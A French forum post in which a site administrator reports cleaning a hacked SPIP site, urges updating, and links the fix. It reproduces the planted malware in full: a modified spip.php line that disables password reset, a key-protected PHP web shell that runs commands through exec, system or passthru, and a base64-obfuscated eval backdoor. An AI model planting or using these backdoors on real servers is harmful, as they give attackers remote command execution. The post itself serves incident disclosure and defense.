Bonjour,
Je viens de nettoyer en profondeur un site (SPIP 3.1.6) qui avait été hacké par la faille corrigée par : Mise à jour critique de sécurité : sortie de SPIP 4.2.1, SPIP 4.1.8, SPIP (…) - SPIP Blog ( SPIP 4.2.1, SPIP 4.1.8, SPIP 4.0.10 et SPIP 3.2.18)
J’ai trouvé 4 fichiers modifiés ou ajoutés :
-
/spip.php
La première ligne du fichier est modifiée ainsi :
<?php if(isset($_POST['page'])&& strtolower($_POST['page'])=='spip_pass') die();?><?php
Ce qui empêche d’utiliser la procédure d’oubli de mot de passe -
/ecrire/auto.php (ajouté)
<?php if(isset($_GET['k'],$_GET['c'])){$k=@base64_decode($_GET['k']);$c=@base64_decode($_GET['c']);if($k!==FALSE&&$c!==FALSE){echo '#!#';$j=array('o'=>array(),'c'=>0);$d=array();$a=@ini_get('disable_functions');if($a)$d=explode(',',$a);else{$d=array();}if(@md5($k)==='e75acb27171300d9b9470c44ec4c1fc6'){function t($t){return @trim($t," \n\r\t");}function e($e){global $j;$j['o']=array('EXEC_ERROR');$j['c']=$e;}if(@function_exists('exec')&&@in_array('exec',$d)==FALSE){$b=@exec($c,$j['o'],$j['c']);if(!$b)e(110);}elseif(@function_exists('shell_exec')&&@in_array('shell_exec',$d)==FALSE){$b=@shell_exec($c);if($b===FALSE||$b===NULL)e(111);else{$j['o']=@explode("\n",t($b));}}else{$x=true;@ob_start();if(@function_exists('system')&&@in_array('system',$d)==FALSE){$b=@system($c,$j['c']);if($b===FALSE){e(112);$x=false;}}elseif(@function_exists('passthru')&&@in_array('passthru',$d)==FALSE){$b=@passthru($c,$j['c']);if($b===FALSE||$b!==NULL){e(113);$x=false;}}else{$x=false;$j['o']=array('NO_EXEC');$j['c']=101;}if($x)$j['o']=@explode("\n",t(@ob_get_contents()));@ob_end_clean();}}else{$j['o']=array('AUTH_ERROR');$j['c']=100;}$f=array();foreach($j['o'] as $l){$f[]=@base64_encode($l);}$j['o']=$f;if(@function_exists('json_encode'))echo @json_encode($j);else{echo '{"o":["'.@implode($f,'","').'"],"c":'.$j['c'].'}';}echo '#$#';}}?>
Pas encore investigué ce que ça peut faire. -
/ecrire/local.php (ajouté)
<?php @eval(@base64_decode("JGs9ZmFsc2U7aWYoaXNzZXQoJF9HRVRbJ2snXSkpeyRrPSRfR0VUWydrJ107fWlmKCRrICYmKCgkYz1AZmlsZV9nZXRfY29udGVudHMoJ3BocDovL2lucHV0JykpIT09JycpKXtpZigoQG1kNShAYmFzZTY0X2RlY29kZSgkaykpPT09J2U3NWFjYjI3MTcxMzAwZDliOTQ3MGM0NGVjNGMxZmM2JykmJigoJHM9QGJhc2U2NF9kZWNvZGUoJGMpKSE9PUZBTFNFKSl7ZWNobyAnIyEjJztAcGFzc3RocnUoJHMpO2VjaG8gJyMkIyc7fX0"));?>
Pas encore investigué ce que ça peut faire. -
tmp/pirates/z_ini_pirateConfig.php
C’est Triag File Manager version 1.1 : Tryag File Manager - Pastebin.com
Pour l’instant, à part bloquer l’accès à l’admin du site, ça ne semble rien faire d’autre qu’avoir mis ces fichiers.
Mais c’est peut-être la tactique du hack dormant qui attends quelques mois d’être dans toutes les sauvegardes pour ensuite être activé et faire beaucoup plus de mal.
Bref : mettez à jour !
PS : Je ne suis pas core dev, je n’ai donc pas accès aux informations des tickets de sécurité.
Ce que je vais écrire est donc à confirmer par la Team.
En regardant ces 2 commits qui correspondent à la sortie de SPIP 3.2.18 :
- fix: Sanitizer toutes les valeurs passées aux formulaires preventivement dans l'écran de sécurité (d6d9e10e) · Validations · spip / spip · GitLab
- fix: Sanitizer toutes les valeurs passées aux formulaires preventivement dans l'écran de sécurité (d6d9e10e) · Validations · spip / spip · GitLab
L’écran de sécurité à jour devrait bloquer l’attaque en cours.
Voir aussi :